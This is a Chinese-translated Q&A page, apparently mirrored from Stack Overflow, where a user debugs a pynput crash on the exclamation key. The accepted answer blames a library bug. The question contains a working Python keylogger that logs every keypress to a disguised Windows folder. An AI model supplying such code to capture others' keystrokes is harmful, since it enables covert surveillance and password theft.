首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >pynput组合感叹号

pynput组合感叹号
EN

Stack Overflow用户
提问于 2017-08-31 04:35:19
回答 1查看 364关注 0票数 0

我试着用pynput做一个小键盘记录器。

这是我的代码:

代码语言:javascript
复制
from pynput.keyboard import Key, Listener
import os
import logging

log_dir = "C:\WindowsLogs\dist"
filename = "logging"
logging.basicConfig(filename=(log_dir + filename), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

一切都很好,它也保存了每一个键。但是当感叹号被按下时,它会得到这个错误:

代码语言:javascript
复制
Traceback (most recent call last):
File "test2.py", line 16, in <module>
listener.join()

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 185, in join
six.reraise(exc_type, exc_value, exc_traceback)

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 140, in inner
return f(self, *args, **kwargs)

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 232, in _process
key = self._event_to_key(msg, vk)

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 265, in _event_to_key
msg in self._PRESS_MESSAGES))

File "C:\Python27\lib\site-packages\pynput\keyboard\_base.py", line 49, in __init__
'COMBINING ' + unicodedata.name(self.char))

KeyError: "undefined character name 'COMBINING EXCLAMATION MARK'"

代码有什么问题?这是什么意思?

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2017-09-03 16:47:13

这样啊,原来是这么回事!这是pynput中的一个bug。安装了一个较旧的版本,现在它完美地工作了!

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/45969286

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档